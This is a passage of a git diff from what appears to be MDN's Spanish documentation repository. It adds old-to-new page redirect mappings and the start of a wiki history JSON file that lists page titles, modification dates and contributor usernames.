+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/throw	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#throw_statement
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/try...catch	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#try...catch_statement
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manipulaci%C3%B3n_de_objetos	/es/docs/Web/JavaScript/Guide
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_para_comentarios	/es/docs/Web/JavaScript/Guide
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_may%C3%BAsculas_y_min%C3%BAsculas_y_considerar_entrada_multil%C3%ADnea	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_ignorar_mayusculas_minusculas,_y_considerar_entrada_multilinea	/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil%C3%ADnea
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejemplos_de_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Usar_coincidencias_de_subcadenas_parentizadas	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Unicode	/en-US/docs/Web/JavaScript/Reference/Lexical_grammar
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Usando_el_objeto_arguments	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Using_the_arguments_object	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Valores	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Variables	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions	/en-US/docs/Web/JavaScript/Guide/Functions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/The_Employee_Example	/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/es/docs/Web/JavaScript/Guide/Valores,_variables_y_literales	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Web/JavaScript/New_in_JavaScript	/es/docs/Web/JavaScript/Novedades_en_JavaScript
+/es/docs/Web/JavaScript/Primeros_Pasos	/es/docs/Learn/Getting_started_with_the_web/JavaScript_basics
+/es/docs/Web/JavaScript/Reference/Classes	/es/docs/Web/JavaScript/Referencia/Classes
+/es/docs/Web/JavaScript/Reference/Classes/static	/es/docs/Web/JavaScript/Referencia/Classes/static
+/es/docs/Web/JavaScript/Reference/Global_Objects/JSON	/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON
+/es/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify	/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON/stringify
+/es/docs/Web/JavaScript/Reference/Global_Objects/TypedArray	/es/docs/Web/JavaScript/Referencia/Objetos_globales/TypedArray
+/es/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/buffer	/es/docs/Web/JavaScript/Referencia/Objetos_globales/TypedArray/buffer
+/es/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/subarray	/es/docs/Web/JavaScript/Referencia/Objetos_globales/TypedArray/subarray
+/es/docs/Web/JavaScript/Reference/Statements	/es/docs/Web/JavaScript/Referencia/Sentencias
+/es/docs/Web/JavaScript/Reference/Statements/const	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Despreciadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/Web/JavaScript/Referencia/Comentarios/comentario	/es/docs/temp_comentarios
+/es/docs/Web/JavaScript/Referencia/Funciones/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Web/JavaScript/Referencia/Funciones_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/decodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURI
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/decodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURIComponent
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/encodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURI
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/encodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURIComponent
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/isFinite	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isFinite
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/isNaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isNaN
+/es/docs/Web/JavaScript/Referencia/Funciones_globales/parseInt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseInt
+/es/docs/Web/JavaScript/Referencia/Methods_Index	/es/docs/Web/JavaScript/Referencia
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/flatten	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/flat
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/NumberFormat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Intl/NumberFormat
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/NumberFormat/format	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Intl/NumberFormat/format
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promesa	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promesa/all	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise/all
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promesa/race	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise/race
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/constructor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeUR	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURI
+/es/docs/Web/JavaScript/Referencia/Objetos_globales/isFinite_	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isFinite
+/es/docs/Web/JavaScript/Referencia/Objetos_globlales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Web/JavaScript/Referencia/Operadores/Especiales	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Web/JavaScript/Referencia/Operadores/Especiales/function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/Web/JavaScript/Referencia/Operadores/Operadores_especiales	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Web/JavaScript/Referencia/Operadores/Operadores_especiales/Operador_this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/Web/JavaScript/Referencia/Operadores/String	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/Web/JavaScript/Referencia/Operadores/get	/es/docs/Web/JavaScript/Referencia/Funciones/get
+/es/docs/Web/JavaScript/Referencia/Properties_Index	/es/docs/Web/JavaScript/Referencia
+/es/docs/Web/JavaScript/Referencia/Propiedades_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Web/JavaScript/Referencia/Propiedades_globales/Infinity	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Infinity
+/es/docs/Web/JavaScript/Referencia/Propiedades_globales/NaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/NaN
+/es/docs/Web/JavaScript/Referencia/Propiedades_globales/undefined	/es/docs/Web/JavaScript/Referencia/Objetos_globales/undefined
+/es/docs/Web/JavaScript/Una_nueva_introducci%C3%B3n_a_JavaScript	/es/docs/Web/JavaScript/Una_re-introducci%C3%B3n_a_JavaScript
+/es/docs/Web/Reference/Events	/es/docs/Web/Events
+/es/docs/Web/Reference/Events/DOMContentLoaded	/es/docs/Web/Events/DOMContentLoaded
+/es/docs/Web/Reference/Events/DOMSubtreeModified	/es/docs/Web/Events/DOMSubtreeModified
+/es/docs/Web/Reference/Events/abort	/es/docs/Web/Events/abort
+/es/docs/Web/Reference/Events/animationend	/es/docs/Web/Events/animationend
+/es/docs/Web/Reference/Events/beforeunload	/es/docs/Web/Events/beforeunload
+/es/docs/Web/Reference/Events/blur	/es/docs/Web/Events/blur
+/es/docs/Web/Reference/Events/canplay	/es/docs/Web/API/HTMLMediaElement/canplay_event
+/es/docs/Web/Reference/Events/click	/es/docs/Web/API/Element/click_event
+/es/docs/Web/Reference/Events/close_websocket	/es/docs/Web/API/WebSocket/close_event
+/es/docs/Web/Reference/Events/dragover	/es/docs/Web/API/Document/dragover_event
+/es/docs/Web/Reference/Events/hashchange	/es/docs/Web/API/Window/hashchange_event
+/es/docs/Web/Reference/Events/keydown	/es/docs/Web/API/Document/keydown_event
+/es/docs/Web/Reference/Events/load	/es/docs/Web/Events/load
+/es/docs/Web/Reference/Events/loadend	/es/docs/Web/Events/loadend
+/es/docs/Web/Reference/Events/mousedown	/es/docs/Web/API/Element/mousedown_event
+/es/docs/Web/Reference/Events/pointerlockchange	/es/docs/Web/Events/pointerlockchange
+/es/docs/Web/Reference/Events/scroll	/es/docs/Web/API/Document/scroll_event
+/es/docs/Web/Reference/Events/tecla	/es/docs/Web/API/Document/keyup_event
+/es/docs/Web/Reference/Events/timeupdate	/es/docs/Web/API/HTMLMediaElement/timeupdate_event
+/es/docs/Web/Reference/Events/transitioncancel	/es/docs/Web/Events/transitioncancel
+/es/docs/Web/Reference/Events/transitionend	/es/docs/Web/Events/transitionend
+/es/docs/Web/Reference/Events/wheel	/es/docs/Web/API/Element/wheel_event
+/es/docs/Web/WebGL	/es/docs/Web/API/WebGL_API
+/es/docs/Web/WebGL/Animating_objects_with_WebGL	/es/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+/es/docs/Web/WebGL/Getting_started_with_WebGL	/es/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+/es/docs/Web/XSLT/Elementos	/es/docs/Web/XSLT/Element
+/es/docs/Web/XSLT/Elementos/element	/es/docs/Web/XSLT/Element/element
+/es/docs/WebGL	/es/docs/Web/API/WebGL_API
+/es/docs/WebGL/Animating_objects_with_WebGL	/es/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+/es/docs/WebSockets-840092-dup	/es/docs/Web/API/WebSockets_API
+/es/docs/WebSockets-840092-dup/Escribiendo_servidor_WebSocket	/es/docs/Web/API/WebSockets_API/Escribiendo_servidor_WebSocket
+/es/docs/WebSockets-840092-dup/Escribiendo_servidores_con_WebSocket	/es/docs/Web/API/WebSockets_API/Escribiendo_servidores_con_WebSocket
+/es/docs/WebSockets-840092-dup/Writing_WebSocket_client_applications	/es/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications
+/es/docs/Windows_8	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Windows_8
+/es/docs/XForms:Comunidad	/es/docs/XForms/Comunidad
+/es/docs/XForms:Soporte_en_Mozilla	/es/docs/XForms/Soporte_en_Mozilla
+/es/docs/XML:Comunidad	/es/docs/XML/Comunidad
+/es/docs/XMLHttpRequest	/es/docs/Web/API/XMLHttpRequest
+/es/docs/XMLHttpRequest/FormData	/es/docs/Web/API/XMLHttpRequest/FormData
+/es/docs/XMLHttpRequest/Using_XMLHttpRequest	/es/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest
+/es/docs/XMLHttpRequest/abort	/es/docs/Web/API/XMLHttpRequest/abort
+/es/docs/XMLHttpRequest/onreadystatechange	/es/docs/Web/API/XMLHttpRequest/onreadystatechange
+/es/docs/XPath	/es/docs/Web/XPath
+/es/docs/XPath/Ejes	/es/docs/Web/XPath/Ejes
+/es/docs/XPath/Ejes/ancestor	/es/docs/Web/XPath/Ejes/ancestor
+/es/docs/XPath/Ejes/ancestor-or-self	/es/docs/Web/XPath/Ejes/ancestor-or-self
+/es/docs/XPath/Ejes/attribute	/es/docs/Web/XPath/Ejes/attribute
+/es/docs/XPath/Ejes/child	/es/docs/Web/XPath/Ejes/child
+/es/docs/XPath/Ejes/descendant	/es/docs/Web/XPath/Ejes/descendant
+/es/docs/XPath/Ejes/descendant-or-self	/es/docs/Web/XPath/Ejes/descendant-or-self
+/es/docs/XPath/Ejes/following	/es/docs/Web/XPath/Ejes/following
+/es/docs/XPath/Ejes/following-sibling	/es/docs/Web/XPath/Ejes/following-sibling
+/es/docs/XPath/Ejes/namespace	/es/docs/Web/XPath/Ejes/namespace
+/es/docs/XPath/Ejes/parent	/es/docs/Web/XPath/Ejes/parent
+/es/docs/XPath/Ejes/preceding	/es/docs/Web/XPath/Ejes/preceding
+/es/docs/XPath/Ejes/preceding-sibling	/es/docs/Web/XPath/Ejes/preceding-sibling
+/es/docs/XPath/Ejes/self	/es/docs/Web/XPath/Ejes/self
+/es/docs/XPath/Funciones	/es/docs/Web/XPath/Funciones
+/es/docs/XPath/Funciones-XPath/true	/es/docs/Web/XPath/Funciones/true
+/es/docs/XPath/Funciones/contains	/es/docs/Web/XPath/Funciones/contains
+/es/docs/XPath/Funciones/substring	/es/docs/Web/XPath/Funciones/substring
+/es/docs/XPath/Funciones/true	/es/docs/Web/XPath/Funciones/true
+/es/docs/XPath/funciones-xpath	/es/docs/Web/XPath/Funciones
+/es/docs/XPath/funciones-xpath/contains	/es/docs/Web/XPath/Funciones/contains
+/es/docs/XPath/funciones-xpath/substring	/es/docs/Web/XPath/Funciones/substring
+/es/docs/XPath:Ejes	/es/docs/Web/XPath/Ejes
+/es/docs/XPath:Ejes:ancestor	/es/docs/Web/XPath/Ejes/ancestor
+/es/docs/XPath:Ejes:ancestor-or-self	/es/docs/Web/XPath/Ejes/ancestor-or-self
+/es/docs/XPath:Ejes:attribute	/es/docs/Web/XPath/Ejes/attribute
+/es/docs/XPath:Ejes:child	/es/docs/Web/XPath/Ejes/child
+/es/docs/XPath:Ejes:descendant	/es/docs/Web/XPath/Ejes/descendant
+/es/docs/XPath:Ejes:descendant-or-self	/es/docs/Web/XPath/Ejes/descendant-or-self
+/es/docs/XPath:Ejes:following	/es/docs/Web/XPath/Ejes/following
+/es/docs/XPath:Ejes:following-sibling	/es/docs/Web/XPath/Ejes/following-sibling
+/es/docs/XPath:Ejes:namespace	/es/docs/Web/XPath/Ejes/namespace
+/es/docs/XPath:Ejes:parent	/es/docs/Web/XPath/Ejes/parent
+/es/docs/XPath:Ejes:preceding	/es/docs/Web/XPath/Ejes/preceding
+/es/docs/XPath:Ejes:preceding-sibling	/es/docs/Web/XPath/Ejes/preceding-sibling
+/es/docs/XPath:Ejes:self	/es/docs/Web/XPath/Ejes/self
+/es/docs/XPath:Funciones:contains	/es/docs/Web/XPath/Funciones/contains
+/es/docs/XPath:Funciones:substring	/es/docs/Web/XPath/Funciones/substring
+/es/docs/XPath:Funciones:true	/es/docs/Web/XPath/Funciones/true
+/es/docs/XSLT	/es/docs/Web/XSLT
+/es/docs/XSLT/Elementos	/es/docs/Web/XSLT/Element
+/es/docs/XSLT/apply-imports	/es/docs/Web/XSLT/apply-imports
+/es/docs/XSLT/apply-templates	/es/docs/Web/XSLT/apply-templates
+/es/docs/XSLT/attribute	/es/docs/Web/XSLT/attribute
+/es/docs/XSLT/attribute-set	/es/docs/Web/XSLT/attribute-set
+/es/docs/XSLT/call-template	/es/docs/Web/XSLT/call-template
+/es/docs/XSLT/choose	/es/docs/Web/XSLT/choose
+/es/docs/XSLT/comment	/es/docs/Web/XSLT/comment
+/es/docs/XSLT/copy	/es/docs/Web/XSLT/copy
+/es/docs/XSLT/copy-of	/es/docs/Web/XSLT/copy-of
+/es/docs/XSLT/decimal-format	/es/docs/Web/XSLT/decimal-format
+/es/docs/XSLT/element	/es/docs/Web/XSLT/Element/element
+/es/docs/XSLT/fallback	/es/docs/Web/XSLT/fallback
+/es/docs/XSLT/for-each	/es/docs/Web/XSLT/for-each
+/es/docs/XSLT/if	/es/docs/Web/XSLT/if
+/es/docs/XSLT/import	/es/docs/Web/XSLT/import
+/es/docs/XSLT/include	/es/docs/Web/XSLT/include
+/es/docs/XSLT/key	/es/docs/Web/XSLT/key
+/es/docs/XSLT/message	/es/docs/Web/XSLT/message
+/es/docs/XSLT/namespace-alias	/es/docs/Web/XSLT/namespace-alias
+/es/docs/XSLT/number	/es/docs/Web/XSLT/number
+/es/docs/XSLT/otherwise	/es/docs/Web/XSLT/otherwise
+/es/docs/XSLT/when	/es/docs/Web/XSLT/when
+/es/docs/XSLT/with-param	/es/docs/Web/XSLT/with-param
+/es/docs/XSLT:Elementos	/es/docs/Web/XSLT/Element
+/es/docs/XSLT:apply-imports	/es/docs/Web/XSLT/apply-imports
+/es/docs/XSLT:apply-templates	/es/docs/Web/XSLT/apply-templates
+/es/docs/XSLT:attribute	/es/docs/Web/XSLT/attribute
+/es/docs/XSLT:attribute-set	/es/docs/Web/XSLT/attribute-set
+/es/docs/XSLT:call-template	/es/docs/Web/XSLT/call-template
+/es/docs/XSLT:choose	/es/docs/Web/XSLT/choose
+/es/docs/XSLT:comment	/es/docs/Web/XSLT/comment
+/es/docs/XSLT:copy	/es/docs/Web/XSLT/copy
+/es/docs/XSLT:copy-of	/es/docs/Web/XSLT/copy-of
+/es/docs/XSLT:decimal-format	/es/docs/Web/XSLT/decimal-format
+/es/docs/XSLT:element	/es/docs/Web/XSLT/Element/element
+/es/docs/XSLT:fallback	/es/docs/Web/XSLT/fallback
+/es/docs/XSLT:for-each	/es/docs/Web/XSLT/for-each
+/es/docs/XSLT:if	/es/docs/Web/XSLT/if
+/es/docs/XSLT:import	/es/docs/Web/XSLT/import
+/es/docs/XSLT:include	/es/docs/Web/XSLT/include
+/es/docs/XSLT:key	/es/docs/Web/XSLT/key
+/es/docs/XSLT:message	/es/docs/Web/XSLT/message
+/es/docs/XSLT:namespace-alias	/es/docs/Web/XSLT/namespace-alias
+/es/docs/XSLT:number	/es/docs/Web/XSLT/number
+/es/docs/XSLT:otherwise	/es/docs/Web/XSLT/otherwise
+/es/docs/XSLT:when	/es/docs/Web/XSLT/when
+/es/docs/XSLT:with-param	/es/docs/Web/XSLT/with-param
+/es/docs/controladores_protocolos_web	/es/docs/Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+/es/docs/en	/en-US/
+/es/docs/firefox_Web_Developer_(externo)	https://addons.mozilla.org/firefox/60/
+/es/docs/lugares	/es/docs/Cat%C3%A1logo
+/es/docs/mozilla-central	/es/docs/Mozilla/Developer_guide/mozilla-central
+/es/docs/nsISupports:AddRef	/es/docs/nsISupports/AddRef
+/es/docs/nsISupports:QueryInterface	/es/docs/nsISupports/QueryInterface
+/es/docs/nsISupports:Release	/es/docs/nsISupports/Release
+/es/docs/video	/es/docs/Web/HTML/Elemento/video
diff --git a/files/es/_wikihistory.json b/files/es/_wikihistory.json
new file mode 100644
index 0000000000..6a83fa982b
--- /dev/null
+++ b/files/es/_wikihistory.json
@@ -0,0 +1,23774 @@
+{
+  "Acerca_del_Modelo_de_Objetos_del_Documento": {
+    "modified": "2019-03-24T00:02:47.149Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "Nathymig",
+      "Jorolo"
+    ]
+  },
+  "Actualizar_aplicaciones_web_para_Firefox_3": {
+    "modified": "2019-03-23T23:58:06.668Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "Sheppy",
+      "trada",
+      "manueljrs",
+      "flaviog",
+      "Rafavs",
+      "Marcomavil",
+      "Mgjbot"
+    ]
+  },
+  "Actualizar_extensiones_para_Firefox_3": {
+    "modified": "2019-03-23T23:58:10.215Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "Pgulijczuk",
+      "deimidis",
+      "flaviog",
+      "Nukeador",
+      "Giovanisf13",
+      "Firewordy",
+      "Dfier",
+      "Rumont",
+      "Wrongloop",
+      "Mgjbot"
+    ]
+  },
+  "Actualizar_extensiones_para_Firefox_3/Actualizar_extensiones_para_Firefox_3": {
+    "modified": "2019-12-13T20:34:57.052Z",
+    "contributors": [
+      "wbamberg",
+      "lajaso",
+      "teoli",
+      "Sheppy",
+      "Pgulijczuk",
+      "deimidis",
+      "Nukeador",
+      "Ffranz",
+      "HenryGR"
+    ]
+  },
+  "Actualizar_una_extensión_para_que_soporte_múltiples_aplicaciones_de_Mozilla": {
+    "modified": "2019-01-16T14:53:56.551Z",
+    "contributors": [
+      "DoctorRomi",
+      "Superruzafa"
+    ]
+  },
+  "Applying_SVG_effects_to_HTML_content": {
+    "modified": "2019-03-24T00:09:04.196Z",
+    "contributors": [
+      "elPatox"
+    ]
+  },
+  "Añadir_lectores_de_canales_a_Firefox": {
+    "modified": "2019-03-23T23:54:31.423Z",
+    "contributors": [
+      "wbamberg",
+      "Mgjbot",
+      "RickieesES",
+      "Nukeador",
+      "Anyulled"
+    ]
+  },
+  "Añadir_motores_de_búsqueda_desde_páginas_web": {
+    "modified": "2019-01-16T15:27:59.157Z",
+    "contributors": [
+      "Mgjbot",
+      "Superruzafa",
+      "Lesmo sft",
+      "Nukeador"
+    ]
+  },
+  "Bugs_importantes_solucionados_en_Firefox_3": {
+    "modified": "2019-03-23T23:53:21.447Z",
+    "contributors": [
+      "wbamberg",
+      "Mgjbot",
+      "Nathymig",
+      "Nukeador",
+      "HenryGR",
+      "RickieesES",
+      "Ciberman osman"
+    ]
+  },
+  "Building_an_Extension": {
+    "modified": "2019-03-23T23:19:24.053Z",
+    "contributors": [
+      "martin.weingart",
+      "Josele89"
+    ]
+  },
+  "CSS/Media_queries": {
+    "modified": "2019-10-03T11:52:26.928Z",
+    "contributors": [
+      "danielblazquez",
+      "brunonra-dev",
+      "kitab15",
+      "Sebastianz",
+      "jsx",
+      "carlossuarez",
+      "mrstork",
+      "malayaleecoder",
+      "seeker8",
+      "Xaviju",
+      "sinfallas",
+      "maedca"
+    ]
+  },
+  "CSS/Using_CSS_gradients": {
+    "modified": "2019-06-03T20:30:31.836Z",
+    "contributors": [
+      "GasGen",
+      "undest",
+      "Sebastianz",
+      "Eneagrama"
+    ]
+  },
+  "CSS_dinámico": {
+    "modified": "2019-01-16T14:14:46.881Z",
+    "contributors": [
+      "RickieesES",
+      "Jorolo",
+      "Peperoni",
+      "Hande",
+      "Nukeador"
+    ]
+  },
+  "Cadenas_del_User_Agent_de_Gecko": {
+    "modified": "2019-03-23T23:45:27.069Z",
+    "contributors": [
+      "teoli",
+      "Orestesleal13022"
+    ]
+  },
+  "Code_snippets": {
+    "modified": "2019-01-16T13:52:37.564Z",
+    "contributors": [
+      "ffox"
+    ]
+  },
+  "Code_snippets/Pestañas_del_navegador": {
+    "modified": "2019-01-16T13:52:57.159Z",
+    "contributors": [
+      "ffox"
+    ]
+  },
+  "Columnas_con_CSS-3": {
+    "modified": "2019-03-23T23:43:23.940Z",
+    "contributors": [
+      "Mgjbot",
+      "Jorolo",
+      "Nukeador"
+    ]
+  },
+  "Compilar_e_instalar": {
+    "modified": "2019-03-23T23:58:55.256Z",
+    "contributors": [
+      "teoli",
+      "DoctorRomi",
+      "Mgjbot",
+      "Blank zero"
+    ]
+  },
+  "Configurar_correctamente_los_tipos_MIME_del_servidor": {
+    "modified": "2020-07-16T22:36:04.341Z",
+    "contributors": [
+      "Nukeador",
+      "Kroatan",
+      "Mtiscordio",
+      "Hostar",
+      "Iwa1",
+      "Markens",
+      "Brayan Habid"
+    ]
+  },
+  "Control_de_la_corrección_ortográfica_en_formularios_HTML": {
+    "modified": "2019-03-23T23:54:20.583Z",
+    "contributors": [
+      "raecillacastellana",
+      "vltamara",
+      "MxJ3susDi4z",
+      "teoli",
+      "Mgjbot",
+      "Jorolo",
+      "Omnisilver",
+      "Nukeador"
+    ]
+  },
+  "Creacion_de_plugins_OpenSearch_para_Firefox": {
+    "modified": "2019-03-24T00:00:08.096Z",
+    "contributors": [
+      "teoli",
+      "Etrigan",
+      "tbusca",
+      "Nukeador",
+      "Rodrigoknascimento",
+      "Citora",
+      "Mgjbot",
+      "Fenomeno"
+    ]
+  },
+  "Creación_de_Componentes_XPCOM/Interior_del_Componente": {
+    "modified": "2019-04-20T03:45:43.371Z",
+    "contributors": [
+      "wbamberg",
+      "Maharba"
+    ]
+  },
+  "Creación_de_Componentes_XPCOM/Prefacio": {
+    "modified": "2019-04-20T03:45:45.365Z",
+    "contributors": [
+      "wbamberg",
+      "Maharba"
+    ]
+  },
+  "Creando_una_extensión": {
+    "modified": "2019-03-24T00:13:16.401Z",
+    "contributors": [
+      "teoli",
+      "ethertank",
+      "Sheppy",
+      "athesto",
+      "StripTM",
+      "myfcr",
+      "DoctorRomi",
+      "Mgjbot",
+      "M4ur170",
+      "Nukeador",
+      "Wayner",
+      "El Hacker",
+      "Arcangelhak",
+      "Psanz",
+      "Victor-27-",
+      "Arteadonis",
+      "Gadolinio",
+      "Opevelyn",
+      "Verruckt",
+      "Spg2006",
+      "Gbulfon",
+      "Damien",
+      "Peperoni",
+      "CD77",
+      "Ordep",
+      "Indigo",
+      "Jp1",
+      "GMG",
+      "Ateneo",
+      "Doctormanfer",
+      "A Morenazo",
+      "Trace2x",
+      "Odo",
+      "Hatch",
+      "Jorolo",
+      "Lastjuan",
+      "Ulntux"
+    ]
+  },
+  "Crear_una_extensión_personalizada_de_Firefox_con_el_Mozilla_Build_System": {
+    "modified": "2019-04-26T15:53:18.603Z",
+    "contributors": [
+      "cantineoqueteveo",
+      "2stapps",
+      "teoli",
+      "DoctorRomi",
+      "Carok",
+      "Gustavo Ruiz",
+      "Nukeador",
+      "JuninhoBoy95",
+      "Kuriboh",
+      "Mgjbot",
+      "RickieesES",
+      "Geomorillo",
+      "Blank zero",
+      "Haelmx",
+      "Superruzafa"
+    ]
+  },
+  "DHTML": {
+    "modified": "2019-03-23T23:44:54.880Z",
+    "contributors": [
+      "Mgjbot",
+      "Jorolo",
+      "Jos"
+    ]
+  },
+  "DHTML_Demostraciones_del_uso_de_DOM_Style": {
+    "modified": "2019-01-16T16:07:51.712Z",
+    "contributors": [
+      "Mgjbot",
+      "Superruzafa",
+      "Trace2x",
+      "Fedora-core",
+      "Nukeador"
+    ]
+  },
+  "DOM": {
+    "modified": "2019-03-24T00:03:50.113Z",
+    "contributors": [
+      "ethertank",
+      "fscholz",
+      "Mgjbot",
+      "Nukeador",
+      "Jorolo",
+      "Takenbot",
+      "julionc",
+      "Versae"
+    ]
+  },
+  "DOM/Almacenamiento": {
+    "modified": "2019-03-24T00:11:21.014Z",
+    "contributors": [
+      "AshfaqHossain",
+      "StripTM",
+      "RickieesES",
+      "inma_610",
+      "Mgjbot",
+      "Superruzafa",
+      "Nukeador"
+    ]
+  },
+  "DOM/Manipulando_el_historial_del_navegador": {
+    "modified": "2019-09-07T17:44:48.428Z",
+    "contributors": [
+      "seaug",
+      "HerniHdez",
+      "AlePerez92",
+      "SphinxKnight",
+      "talo242",
+      "mauroc8",
+      "javiernunez",
+      "dongerardor",
+      "StripTM",
+      "Galsas",
+      "teoli",
+      "Izel",
+      "Sheppy",
+      "translatoon"
+    ]
+  },
+  "DOM/Manipulando_el_historial_del_navegador/Ejemplo": {
+    "modified": "2019-03-23T22:29:32.414Z",
+    "contributors": [
+      "maitret"
+    ]
+  },
+  "DOM/Touch_events": {
+    "modified": "2019-03-23T23:35:01.361Z",
+    "contributors": [
+      "wbamberg",
+      "wffranco",
+      "fscholz",
+      "teoli",
+      "Fjaguero",
+      "jvmjunior",
+      "maedca"
+    ]
+  },
+  "DOM/document.cookie": {
+    "modified": "2020-04-15T13:31:17.928Z",
+    "contributors": [
+      "atiliopereira",
+      "Skattspa",
+      "aralvarez",
+      "SphinxKnight",
+      "khalid32",
+      "Ogquir",
+      "strongville",
+      "Ciencia Al Poder",
